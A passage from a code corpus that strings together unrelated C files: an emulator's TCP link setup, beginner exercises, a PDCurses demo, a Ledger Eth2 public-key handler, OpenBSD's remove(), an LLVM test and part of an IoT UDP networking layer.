void dlglink_sndstr(char *buf,int size)
{
int n;
for (n=0;n<size;n++) dlglink_sndbyte(buf[n]);
}
#define TCPPORT 9121
int dlglink_init(void)
{
struct sockaddr_in sock_name;
int n;
socklen_t sock_len;
struct hostent *sock_hp;
char buffer[64];
if ((sock_d=socket(AF_INET,SOCK_STREAM,0))<0) {
fprintf(OUTSTREAM,"Error: socket initialization failed.\n");
fprintf(OUTSTREAM,"No dialog link supported.\n");
exit(1);
}
sock_len=sizeof(struct sockaddr_in);
if (strlen(servername)==0) {
/* server side init */
memset(&sock_name,0,sizeof(struct sockaddr_in));
sock_name.sin_family=AF_INET;
sock_name.sin_port=htons(TCPPORT);
n=INADDR_ANY;
memcpy(&sock_name.sin_addr,&n,sizeof(n));
if (bind(sock_d,(struct sockaddr *)&sock_name,sock_len)<0) {
fprintf(OUTSTREAM,"Error: bind to port %i failed.\n",TCPPORT);
close(sock_d);
exit(1);
}
if (listen(sock_d,1)<0) {
fprintf(OUTSTREAM,"Error: listen on port %i failed.\n",TCPPORT);
close(sock_d);
exit(1);
}
fprintf(OUTSTREAM,"Waiting for the other side ... ");
if ((sock_nd=accept(sock_d,(struct sockaddr *)&sock_name,&sock_len))<0) {
out_failed;
close(sock_d);
exit(1);
} else out_ok;
sock_desc=sock_nd;
dlglink_sndstr(sock_tcpsignature,strlen(sock_tcpsignature)+1);
dlglink_getstr(buffer,strlen(sock_tcpsignature)+1);
if (strcmp(buffer,sock_tcpsignature)) {
fprintf(OUTSTREAM,"Not a cingb-socket ?\nReceived: %s\n",buffer);
close(sock_d);
exit(1);
}
fprintf(OUTSTREAM,"Connection established.\n");
return 1;
} else {
/* client side init */
if ((sock_hp=gethostbyname(servername))==NULL) {
fprintf(OUTSTREAM,"Error: unknown host %s.\n",servername);
fprintf(OUTSTREAM,"Closing emulation.\n");
close(sock_d);
exit(1);
}
memset(&sock_name,0,sizeof(struct sockaddr_in));
sock_name.sin_family=AF_INET;
sock_name.sin_port=htons(TCPPORT);
memcpy(&sock_name.sin_addr,sock_hp->h_addr_list[0],sock_hp->h_length);
fprintf(OUTSTREAM,"Trying to connect to server ... ");
if (connect(sock_d,(struct sockaddr *)&sock_name,sock_len)<0) {
out_failed;
close(sock_d);
exit(1);
} else out_ok;
sock_desc=sock_d;
dlglink_getstr(buffer,strlen(sock_tcpsignature)+1);
if (strcmp(buffer,sock_tcpsignature)) {
fprintf(OUTSTREAM,"Not a cingb-socket ?\nReceived: %s\n",buffer);
close(sock_d);
exit(1);
}
dlglink_sndstr(sock_tcpsignature,strlen(sock_tcpsignature)+1);
fprintf(OUTSTREAM,"Connection established.\n");
return 2;
}
}
#endif /* DIALOGLINK */
#endif /* UNIX */
|
the_stack_data/3263751.c | #include <stdio.h>
void big3()
{
int num1, num2, num3;
printf("Enter the values of num1, num2 and num3\n");
scanf("%d %d %d", &num1, &num2, &num3);
printf("num1 = %d\tnum2 = %d\tnum3 = %d\n", num1, num2, num3);
if (num1 > num2)
{
if (num1 > num3)
{
printf("num1 is the greatest among three \n");
}
else
{
printf("num3 is the greatest among three \n");
}
}
else if (num2 > num3)
printf("num2 is the greatest among three \n");
else
printf("num3 is the greatest among three \n");
}
|
the_stack_data/7241.c | /* Test code for CCSM ( http://dev.brightsilence.com/ccsm/ )
*
* (c) 2018 John Bailey
*/
int foo(void) {
/* There's only one path through this */
do {
} while (0);
/* And only one path through this */
do {
} while (0 && 0);
/* Only one path here (jump to end of compound statement) */
while (0) {
/* This is unreachable */
unsigned a;
if (a) {
a++;
} else {
a--;
}
}
return 0;
} |
the_stack_data/243893672.c | /*
* ozdemo.c - A demo program using PDCurses. The program
* (formerly newdemo) illustrates the use of colors for text output.
*
* Hacks by [email protected] on 12/29/96
*/
#include <signal.h>
#include <string.h>
#include <curses.h>
#include <stdlib.h>
#include <time.h>
int WaitForUser(void);
int SubWinTest(WINDOW *);
int BouncingBalls(WINDOW *);
void trap(int);
/* An ASCII map of Australia */
char *AusMap[17] =
{
" A ",
" AA AA ",
" N.T. AAAAA AAAA ",
" AAAAAAAAAAA AAAAAAAA ",
" AAAAAAAAAAAAAAAAAAAAAAAAA Qld.",
" AAAAAAAAAAAAAAAAAAAAAAAAAAAA ",
" AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ",
" AAAAAAAAAAAAAAAAAAAAAAAAAAAA ",
" AAAAAAAAAAAAAAAAAAAAAAAAA N.S.W.",
"W.A. AAAAAAAAA AAAAAA Vic.",
" AAA S.A. AA",
" A Tas.",
""
};
/* Funny messages for the scroller */
char *messages[] =
{
"Hello from the Land Down Under",
"The Land of crocs, and a big Red Rock",
"Where the sunflower runs along the highways",
"The dusty red roads lead one to loneliness",
"Blue sky in the morning and",
"Freezing nights and twinkling stars",
NULL
};
int WaitForUser(void)
{
chtype ch;
nodelay(stdscr, TRUE);
halfdelay(50);
ch = getch();
nodelay(stdscr, FALSE);
nocbreak(); /* Reset the halfdelay() value */
cbreak();
return (ch == '\033') ? ch : 0;
}
int SubWinTest(WINDOW *win)
{
WINDOW *swin1, *swin2, *swin3;
int w, h, sw, sh, bx, by;
wattrset(win, 0);
getmaxyx(win, h, w);
getbegyx(win, by, bx);
sw = w / 3;
sh = h / 3;
if ((swin1 = derwin(win, sh, sw, 3, 5)) == NULL)
return 1;
if ((swin2 = subwin(win, sh, sw, by + 4, bx + 8)) == NULL)
return 1;
if ((swin3 = subwin(win, sh, sw, by + 5, bx + 11)) == NULL)
return 1;
init_pair(8, COLOR_RED, COLOR_BLUE);
wbkgd(swin1, COLOR_PAIR(8));
werase(swin1);
mvwaddstr(swin1, 0, 3, "Sub-window 1");
wrefresh(swin1);
init_pair(9, COLOR_CYAN, COLOR_MAGENTA);
wbkgd(swin2, COLOR_PAIR(9));
werase(swin2);
mvwaddstr(swin2, 0, 3, "Sub-window 2");
wrefresh(swin2);
init_pair(10, COLOR_YELLOW, COLOR_GREEN);
wbkgd(swin3, COLOR_PAIR(10));
werase(swin3);
mvwaddstr(swin3, 0, 3, "Sub-window 3");
wrefresh(swin3);
delwin(swin1);
delwin(swin2);
delwin(swin3);
WaitForUser();
return 0;
}
int BouncingBalls(WINDOW *win)
{
chtype c1, c2, c3, ball1, ball2, ball3;
int w, h, x1, y1, xd1, yd1, x2, y2, xd2, yd2, x3, y3, xd3, yd3, c;
curs_set(0);
wbkgd(win, COLOR_PAIR(1));
wrefresh(win);
wattrset(win, 0);
init_pair(11, COLOR_RED, COLOR_GREEN);
init_pair(12, COLOR_BLUE, COLOR_RED);
init_pair(13, COLOR_YELLOW, COLOR_WHITE);
ball1 = 'O' | COLOR_PAIR(11);
ball2 = '*' | COLOR_PAIR(12);
ball3 = '@' | COLOR_PAIR(13);
getmaxyx(win, h, w);
x1 = 2 + rand() % (w - 4);
y1 = 2 + rand() % (h - 4);
x2 = 2 + rand() % (w - 4);
y2 = 2 + rand() % (h - 4);
x3 = 2 + rand() % (w - 4);
y3 = 2 + rand() % (h - 4);
xd1 = 1;
yd1 = 1;
xd2 = 1;
yd2 = -1;
xd3 = -1;
yd3 = 1;
nodelay(stdscr, TRUE);
while ((c = getch()) == ERR)
{
x1 += xd1;
if (x1 <= 1 || x1 >= w - 2)
xd1 *= -1;
y1 += yd1;
if (y1 <= 1 || y1 >= h - 2)
yd1 *= -1;
x2 += xd2;
if (x2 <= 1 || x2 >= w - 2)
xd2 *= -1;
y2 += yd2;
if (y2 <= 1 || y2 >= h - 2)
yd2 *= -1;
x3 += xd3;
if (x3 <= 1 || x3 >= w - 2)
xd3 *= -1;
y3 += yd3;
if (y3 <= 1 || y3 >= h - 2)
yd3 *= -1;
c1 = mvwinch(win, y1, x1);
c2 = mvwinch(win, y2, x2);
c3 = mvwinch(win, y3, x3);
mvwaddch(win, y1, x1, ball1);
mvwaddch(win, y2, x2, ball2);
mvwaddch(win, y3, x3, ball3);
wmove(win, 0, 0);
wrefresh(win);
mvwaddch(win, y1, x1, c1);
mvwaddch(win, y2, x2, c2);
mvwaddch(win, y3, x3, c3);
napms(150);
}
nodelay(stdscr, FALSE);
ungetch(c);
return 0;
}
/* Trap interrupt */
void trap(int sig)
{
if (sig == SIGINT)
{
endwin();
exit(0);
}
}
int main(int argc, char **argv)
{
WINDOW *win;
chtype save[80], ch;
time_t seed;
int width, height, w, x, y, i, j;
#ifdef XCURSES
Xinitscr(argc, argv);
#else
initscr();
#endif
seed = time((time_t *)0);
srand(seed);
start_color();
# if defined(NCURSES_VERSION) || (defined(PDC_BUILD) && PDC_BUILD > 3000)
use_default_colors();
# endif
cbreak();
noecho();
curs_set(0);
#if !defined(__TURBOC__) && !defined(OS2)
signal(SIGINT, trap);
#endif
noecho();
/* refresh stdscr so that reading from it will not cause it to
overwrite the other windows that are being created */
refresh();
/* Create a drawing window */
width = 48;
height = 15;
win = newwin(height, width, (LINES - height) / 2, (COLS - width) / 2);
if (win == NULL)
{
endwin();
return 1;
}
for (;;)
{
init_pair(1, COLOR_WHITE, COLOR_BLUE);
wbkgd(win, COLOR_PAIR(1));
werase(win);
init_pair(2, COLOR_RED, COLOR_RED);
wattrset(win, COLOR_PAIR(2));
box(win, ' ', ' ');
wrefresh(win);
wattrset(win, 0);
/* Do random output of a character */
ch = 'a';
nodelay(stdscr, TRUE);
for (i = 0; i < 5000; ++i)
{
x = rand() % (width - 2) + 1;
y = rand() % (height - 2) + 1;
mvwaddch(win, y, x, ch);
wrefresh(win);
if (getch() != ERR)
break;
if (i == 2000)
{
ch = 'b';
init_pair(3, COLOR_CYAN, COLOR_YELLOW);
wattrset(win, COLOR_PAIR(3));
}
}
nodelay(stdscr, FALSE);
SubWinTest(win);
/* Erase and draw green window */
init_pair(4, COLOR_YELLOW, COLOR_GREEN);
wbkgd(win, COLOR_PAIR(4));
wattrset(win, A_BOLD);
werase(win);
wrefresh(win);
/* Draw RED bounding box */
wattrset(win, COLOR_PAIR(2));
box(win, ' ', ' ');
wrefresh(win);
/* Display Australia map */
wattrset(win, A_BOLD);
i = 0;
while (*AusMap[i])
{
mvwaddstr(win, i + 1, 8, AusMap[i]);
wrefresh(win);
napms(100);
++i;
}
init_pair(5, COLOR_BLUE, COLOR_WHITE);
wattrset(win, COLOR_PAIR(5) | A_BLINK);
mvwaddstr(win, height - 2,
#ifdef PDC_VERDOT
2, " PDCurses " PDC_VERDOT
#else
3, " PDCurses"
#endif
" - DOS, OS/2, Windows, X11, SDL");
wrefresh(win);
/* Draw running messages */
init_pair(6, COLOR_BLACK, COLOR_WHITE);
wattrset(win, COLOR_PAIR(6));
w = width - 2;
nodelay(win, TRUE);
mvwhline(win, height / 2, 1, ' ', w);
for (j = 0; messages[j] != NULL; j++)
{
char *message = messages[j];
int msg_len = strlen(message);
int stop = 0;
int xpos, start, count;
for (i = 0; i <= w + msg_len; i++)
{
if (i < w)
{
xpos = w - i;
start = 0;
count = (i > msg_len) ? msg_len : i;
}
else
{
xpos = 0;
start = i - w;
count = (w > msg_len - start) ? msg_len - start : w;
}
mvwaddnstr(win, height / 2, xpos + 1, message + start, count);
if (xpos + count < w)
waddstr(win, " ");
wrefresh(win);
if (wgetch(win) != ERR)
{
flushinp();
stop = 1;
break;
}
napms(100);
}
if (stop)
break;
}
j = 0;
/* Draw running 'A's across in RED */
init_pair(7, COLOR_RED, COLOR_GREEN);
wattron(win, COLOR_PAIR(7));
for (i = 2; i < width - 4; ++i)
{
ch = mvwinch(win, 5, i);
save[j++] = ch;
ch = ch & 0x7f;
mvwaddch(win, 5, i, ch);
}
wrefresh(win);
/* Put a message up; wait for a key */
i = height - 2;
wattrset(win, COLOR_PAIR(5));
mvwaddstr(win, i, 2,
" Type a key to continue or ESC to quit ");
wrefresh(win);
if (WaitForUser() == '\033')
break;
/* Restore the old line */
wattrset(win, 0);
for (i = 2, j = 0; i < width - 4; ++i)
mvwaddch(win, 5, i, save[j++]);
wrefresh(win);
BouncingBalls(win);
/* BouncingBalls() leaves a keystroke in the queue */
if (WaitForUser() == '\033')
break;
}
endwin();
return 0;
}
|
the_stack_data/211079356.c | #include <stdio.h>
int main(void)
{
int num[80][2];
int fail1=0,fail2=0;
int i,j=0,end,n,pass;
for(i=0;i<80;i++)
{
scanf("%d",&n);
if(n==0)
{
break;
}
scanf("%d",&num[i][0]);
scanf("%d",&num[i][1]);
}
end=i;
scanf("%d",&pass);
for(i=0;i<end;i++)
{
if(num[i][0]<pass)
fail1++;
if(num[i][1]<pass)
fail2++;
}
printf("FAIL=%d %d",fail1,fail2);
return 0;
}
|
the_stack_data/98146.c | #include <stdio.h>
void extra() {
printf("PASS\n");
}
|
the_stack_data/419026.c | #ifdef HAVE_ETH2
#include "shared_context.h"
#include "apdu_constants.h"
#include "ui_flow.h"
#include "feature_getEth2PublicKey.h"
static const uint8_t BLS12_381_FIELD_MODULUS[] = {
0x1a, 0x01, 0x11, 0xea, 0x39, 0x7f, 0xe6, 0x9a, 0x4b, 0x1b, 0xa7, 0xb6, 0x43, 0x4b, 0xac, 0xd7,
0x64, 0x77, 0x4b, 0x84, 0xf3, 0x85, 0x12, 0xbf, 0x67, 0x30, 0xd2, 0xa0, 0xf6, 0xb0, 0xf6, 0x24,
0x1e, 0xab, 0xff, 0xfe, 0xb1, 0x53, 0xff, 0xff, 0xb9, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xaa, 0xab};
void getEth2PublicKey(uint32_t *bip32Path, uint8_t bip32PathLength, uint8_t *out) {
uint8_t privateKeyData[INT256_LENGTH];
cx_ecfp_256_extended_private_key_t privateKey;
cx_ecfp_384_public_key_t publicKey;
uint8_t yFlag = 0;
uint8_t tmp[96];
io_seproxyhal_io_heartbeat();
os_perso_derive_eip2333(CX_CURVE_BLS12_381_G1, bip32Path, bip32PathLength, privateKeyData);
io_seproxyhal_io_heartbeat();
memset(tmp, 0, 48);
memmove(tmp + 16, privateKeyData, 32);
cx_ecfp_init_private_key(CX_CURVE_BLS12_381_G1, tmp, 48, (cx_ecfp_private_key_t *) &privateKey);
cx_ecfp_generate_pair(CX_CURVE_BLS12_381_G1,
(cx_ecfp_public_key_t *) &publicKey,
(cx_ecfp_private_key_t *) &privateKey,
1);
explicit_bzero(tmp, 96);
explicit_bzero((void *) &privateKey, sizeof(cx_ecfp_256_extended_private_key_t));
tmp[47] = 2;
cx_math_mult(tmp, publicKey.W + 1 + 48, tmp, 48);
if (cx_math_cmp(tmp + 48, BLS12_381_FIELD_MODULUS, 48) > 0) {
yFlag = 0x20;
}
publicKey.W[1] &= 0x1f;
publicKey.W[1] |= 0x80 | yFlag;
memmove(out, publicKey.W + 1, 48);
}
void handleGetEth2PublicKey(uint8_t p1,
uint8_t p2,
uint8_t *dataBuffer,
uint16_t dataLength,
unsigned int *flags,
unsigned int *tx) {
UNUSED(dataLength);
uint32_t bip32Path[MAX_BIP32_PATH];
uint32_t i;
uint8_t bip32PathLength = *(dataBuffer++);
if (!called_from_swap) {
reset_app_context();
}
if ((bip32PathLength < 0x01) || (bip32PathLength > MAX_BIP32_PATH)) {
PRINTF("Invalid path\n");
THROW(0x6a80);
}
if ((p1 != P1_CONFIRM) && (p1 != P1_NON_CONFIRM)) {
THROW(0x6B00);
}
if (p2 != 0) {
THROW(0x6B00);
}
for (i = 0; i < bip32PathLength; i++) {
bip32Path[i] = U4BE(dataBuffer, 0);
dataBuffer += 4;
}
getEth2PublicKey(bip32Path, bip32PathLength, tmpCtx.publicKeyContext.publicKey.W);
#ifndef NO_CONSENT
if (p1 == P1_NON_CONFIRM)
#endif // NO_CONSENT
{
*tx = set_result_get_eth2_publicKey();
THROW(0x9000);
}
#ifndef NO_CONSENT
else {
ux_flow_init(0, ux_display_public_eth2_flow, NULL);
*flags |= IO_ASYNCH_REPLY;
}
#endif // NO_CONSENT
}
#endif
|
the_stack_data/37904.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
printf("%d", 74);
return 0;
}
|
the_stack_data/79788.c | /* Control flow instruction */
#include <stdint.h>
void main(void)
{
volatile int8_t a = 0x2f, b = 0xed, c = 0;
if (a >= b) {
c = 1; //$br
} else {
c = -1; //$br
}
return; //$bre
}
|
the_stack_data/796389.c | /* $OpenBSD: remove.c,v 1.4 1997/10/08 05:26:38 millert Exp $ */
/*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
#if 0
static char sccsid[] = "@(#)remove.c 8.1 (Berkeley) 6/4/93";
#else
static char rcsid[] = "$OpenBSD: remove.c,v 1.4 1997/10/08 05:26:38 millert Exp $";
#endif
#endif /* LIBC_SCCS and not lint */
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
int
remove(file)
const char *file;
{
struct stat st;
if (lstat(file, &st) < 0)
return (-1);
if (S_ISDIR(st.st_mode))
return (rmdir(file));
return (unlink(file));
}
|
the_stack_data/14199847.c | // RUN: %llvmgcc -S -m32 -mregparm=3 %s -emit-llvm -o - | grep {inreg %action}
// XFAIL: *
// XTARGET: x86,i386,i686
// PR3967
enum kobject_action {
KOBJ_ADD,
KOBJ_REMOVE,
KOBJ_CHANGE,
KOBJ_MOVE,
KOBJ_ONLINE,
KOBJ_OFFLINE,
KOBJ_MAX
};
struct kobject;
int kobject_uevent(struct kobject *kobj, enum kobject_action action) {}
|
the_stack_data/973054.c | #include <stdio.h>
#include <math.h>
int main(void){
float salario;
printf("Insira o salario de um funcionario para calcular o seu Imposto de renda\n");
scanf("%f", &salario);
if (salario <= 1903.98) puts("\nIsento");
else if (salario <= 1903.98 && salario <= 2826.65) puts("\nAliquota de 7.5%");
else if (salario <= 2826.65 && salario <= 3751.05) puts("\nAliquota de 15.0%");
else if (salario <= 3751.05 && salario <= 4664.68) puts("\nAliquota de 22.5%");
else if (salario <= 4664.68) puts("\nAliquota de 27.5%");
return 0;
}
|
the_stack_data/86382.c | #include<stdio.h>
int i,j;
void worstfit(int[],int[],int,int);
void main()
{
int block[10],process[10],p_no,b_no;
printf("Enter the number of processes: ");
scanf("%d",&p_no);
printf("Enter the memory required for process:-");
for (i=0;i<p_no;i++)
{
printf("\nProcess ID = %d -- ",i);
scanf("%d",&process[i]);
}
printf("\nEnter the number of memory blocks: ");
scanf("%d",&b_no);
printf("Enter the memory blocks:\n");
for(i=0;i<b_no;i++)
scanf("%d",&block[i]);
worstfit(process,block,p_no,b_no);
}
void worstfit(int process[],int block[],int p_no,int b_no)
{
int index;
printf("Process ID\tStatus\t\tBlock Number\n");
for(i=0;i<p_no;i++)
{
index=-1;
for(j=0;j<b_no;j++)
if(block[j]>=process[i])
{
if(index==-1 || block[index]<block[j])
index=j;
}
if(index==-1)
printf("%d\t\tNot allocated\t----\n",i);
else
{
block[index]-=process[i];
printf("%d\t\tAllocated\t%d\n",i,index);
}
}
}
|
the_stack_data/106937.c | #include <stdio.h>
void main(){
int a, n, d, i;
printf("Enter the first term: ");
scanf("%d", &a);
printf("Enter the number of terms: ");
scanf("%d", &n);
printf("Enter the difference between the terms: ");
scanf("%d", &d);
printf("AP: ");
for (i = 0; i < n; i++)
printf("%d ", a + (i * d));
}
|
the_stack_data/165765461.c | #include <stdio.h>
/**
* Faça uma função recursiva que receba um número inteiro positivo N e imprima todos os
* números naturais de 0 até N em ordem crescente.
* */
int printNum(int n, int y){
printf("%d, ", y);
if(n>y)
return printNum(n,y+1);
else
return 0;
}
int main(){
int num = 5, aux = 0;
printNum(num,aux);
return 0;
} |
the_stack_data/111077145.c | /*
* Copyright 2012-2014 NAVER Corp.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <sys/wait.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
int pfd[2];
pid_t cpid;
char buf;
assert(argc == 2);
if (pipe(pfd) == -1) { perror("pipe"); exit(EXIT_FAILURE); }
cpid = fork();
if (cpid == -1) { perror("fork"); exit(EXIT_FAILURE); }
if (cpid == 0) { /* Child reads from pipe */
close(pfd[1]); /* Close unused write end */
while (read(pfd[0], &buf, 1) > 0)
write(STDOUT_FILENO, &buf, 1);
write(STDOUT_FILENO, "\n", 1);
close(pfd[0]);
_exit(EXIT_SUCCESS);
} else { /* Parent writes argv[1] to pipe */
close(pfd[0]); /* Close unused read end */
write(pfd[1], argv[1], strlen(argv[1]));
close(pfd[1]); /* Reader will see EOF */
wait(NULL); /* Wait for child */
exit(EXIT_SUCCESS);
}
}
|
the_stack_data/28848.c | // WAP that reads character by character from a file and displays on screen
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *fpnt ; // decl. of pointer to structure FILE
char mychar ;
fpnt=fopen("c:\\myfiles\\data.txt","r");
if(fpnt==NULL)
{
printf("Unable to open the file .....");
exit(0); // terminates the program
}
while (mychar!=EOF)
{
mychar=fgetc(fpnt);
putchar(mychar);
}
fclose(fpnt);
}
|
the_stack_data/76699847.c | #include <stdio.h>
#include <string.h>
#define DIM 80
int leLinha(char s[])
{
int i;
for (i = 0; s[i-1] != ' ' && s[i-1] != EOF; i++)
s[i] = getchar();
for (i--; i < DIM; i++)
s[i] = '\0';
return i;
}
/*
* A function that compares two large numbers digit by digit, assuming they have the same number of digits
* Returns 1 if the first number is larger, -1 if the second one is larger, 0 if they're equal. */
int compareBigNumbers(char n1[], char n2[])
{
int i, len = strlen(n1);
for (i = 0; i < len; i++)
{
if (n1[i] > n2[i])
return 1;
else if (n2[i] > n1[i])
return -1;
}
return 0;
}
int main()
{
char s1[DIM], s2[DIM];
int comparison;
leLinha(s1);
leLinha(s2);
comparison = compareBigNumbers(s1, s2);
printf("%s\n", comparison == 1 ? s1 : s2);
return 0;
}
|
the_stack_data/9512736.c | #if defined(HAL_UDP)
/*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include "iotx_hal_internal.h"
#include "iot_import.h"
intptr_t HAL_UDP_create(char *host, unsigned short port)
{
#define NETWORK_ADDR_LEN (16)
int rc = -1;
long socket_id = -1;
char port_ptr[6] = {0};
struct addrinfo hints;
char addr[NETWORK_ADDR_LEN] = {0};
struct addrinfo *res, *ainfo;
struct sockaddr_in *sa = NULL;
if (NULL == host) {
return (-1);
}
sprintf(port_ptr, "%u", port);
memset((char *)&hints, 0x00, sizeof(hints));
hints.ai_socktype = SOCK_DGRAM;
hints.ai_family = AF_INET;
hints.ai_protocol = IPPROTO_UDP;
rc = getaddrinfo(host, port_ptr, &hints, &res);
if (0 != rc) {
hal_err("getaddrinfo error");
return (-1);
}
for (ainfo = res; ainfo != NULL; ainfo = ainfo->ai_next) {
if (AF_INET == ainfo->ai_family) {
sa = (struct sockaddr_in *)ainfo->ai_addr;
inet_ntop(AF_INET, &sa->sin_addr, addr, NETWORK_ADDR_LEN);
fprintf(stderr, "The host IP %s, port is %d\r\n", addr, ntohs(sa->sin_port));
socket_id = socket(ainfo->ai_family, ainfo->ai_socktype, ainfo->ai_protocol);
if (socket_id < 0) {
hal_err("create socket error");
continue;
}
if (0 == connect(socket_id, ainfo->ai_addr, ainfo->ai_addrlen)) {
break;
}
close(socket_id);
}
}
freeaddrinfo(res);
return socket_id;
#undef NETWORK_ADDR_LEN
}
void HAL_UDP_close(intptr_t p_socket)
{
long socket_id = -1;
socket_id = p_socket;
close(socket_id);
}
int HAL_UDP_write(intptr_t p_socket,
const unsigned char *p_data,
unsigned int datalen)
{
int rc = -1;
long socket_id = -1;
socket_id = (long)p_socket;
rc = send(socket_id, (char *)p_data, (int)datalen, 0);
if (-1 == rc) {
return -1;
}
return rc;
}
int HAL_UDP_read(intptr_t p_socket,
unsigned char *p_data,
unsigned int datalen)
{
long socket_id = -1;
int count = -1;
if (NULL == p_data || 0 == p_socket) {
return -1;
}
socket_id = (long)p_socket;
count = (int)read(socket_id, p_data, datalen);
return count;
}
int HAL_UDP_readTimeout(intptr_t p_socket,
unsigned char *p_data,
unsigned int datalen,
unsigned int timeout)
{
int ret;
struct timeval tv;
fd_set read_fds;
long socket_id = -1;
if (0 == p_socket || NULL == p_data) {
return -1;
}
socket_id = (long)p_socket;
if (socket_id < 0) {
return -1;
}
FD_ZERO(&read_fds);
FD_SET(socket_id, &read_fds);
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
ret = select(socket_id + 1, &read_fds, NULL, NULL, timeout == 0 ? NULL : &tv);
/* Zero fds ready means we timed out */
if (ret == 0) {
return -2; /* receive timeout */
}
if (ret < 0) {
if (errno == EINTR) {
return -3; /* want read */
}
return -4; /* receive failed */
}
/* This call will not block */
return HAL_UDP_read(p_socket, p_data, datalen);
}
intptr_t HAL_UDP_create_without_connect(_IN_ const char *host, _IN_ unsigned short port)
{
struct sockaddr_in addr;
long sockfd;
int opt_val = 1;
struct hostent *hp;
struct in_addr in;
uint32_t ip;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
hal_err("socket");
return -1;
}
if (0 == port) {
return (intptr_t)sockfd;
}
memset(&addr, 0, sizeof(struct sockaddr_in));
if (0 != setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_BROADCAST, &opt_val, sizeof(opt_val))) {
hal_err("setsockopt");
close(sockfd);
return -1;
}
if (NULL == host) {
addr.sin_addr.s_addr = htonl(INADDR_ANY);
} else {
if (inet_aton(host, &in)) {
ip = *(uint32_t *)∈
} else {
hp = gethostbyname(host);
if (!hp) {
hal_err("can't resolute the host address \n");
close(sockfd);
return -1;
}
ip = *(uint32_t *)(hp->h_addr);
}
addr.sin_addr.s_addr = ip;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (-1 == bind(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in))) {
close(sockfd);
return -1;
}
hal_info("success to establish udp, fd=%d", sockfd);
return (intptr_t)sockfd;
}
int HAL_UDP_connect(_IN_ intptr_t sockfd,
_IN_ const char *host,
_IN_ unsigned short port)
{
int rc = -1;
char port_ptr[6] = {0};
struct addrinfo hints;
struct addrinfo *res, *ainfo;
if (NULL == host) {
return -1;
}
hal_info("HAL_UDP_connect, host=%s, port=%d", host, port);
sprintf(port_ptr, "%u", port);
memset((char *)&hints, 0x00, sizeof(hints));
hints.ai_socktype = SOCK_DGRAM;
hints.ai_family = AF_INET;
hints.ai_protocol = IPPROTO_UDP;
rc = getaddrinfo(host, port_ptr, &hints, &res);
if (0 != rc) {
hal_err("getaddrinfo error");
return -1;
}
for (ainfo = res; ainfo != NULL; ainfo = ainfo->ai_next) {
if (AF_INET == ainfo->ai_family) {
if (0 == connect(sockfd, ainfo->ai_addr, ainfo->ai_addrlen)) {
freeaddrinfo(res);
return 0;
}
}
}
freeaddrinfo(res);
return -1;
}
int HAL_UDP_close_without_connect(_IN_ intptr_t sockfd)
{
return close((int)sockfd);
}
int HAL_UDP_joinmulticast(_IN_ intptr_t sockfd,
_IN_ char *p_group)
{
int err = -1;
int socket_id = -1;
if (NULL == p_group) {
return -1;
}
/*set loopback*/
int loop = 0;
socket_id = (int)sockfd;
err = setsockopt(socket_id, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop));
if (err < 0) {
hal_err("setsockopt");
return err;
}
struct ip_mreq mreq;
mreq.imr_multiaddr.s_addr = inet_addr(p_group);
mreq.imr_interface.s_addr = htonl(INADDR_ANY); /*default networt interface*/
/*join to the multicast group*/
err = setsockopt(socket_id, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq));
if (err < 0) {
hal_err("setsockopt");
return err;
}
return 0;
}
int HAL_UDP_recv(_IN_ intptr_t sockfd,
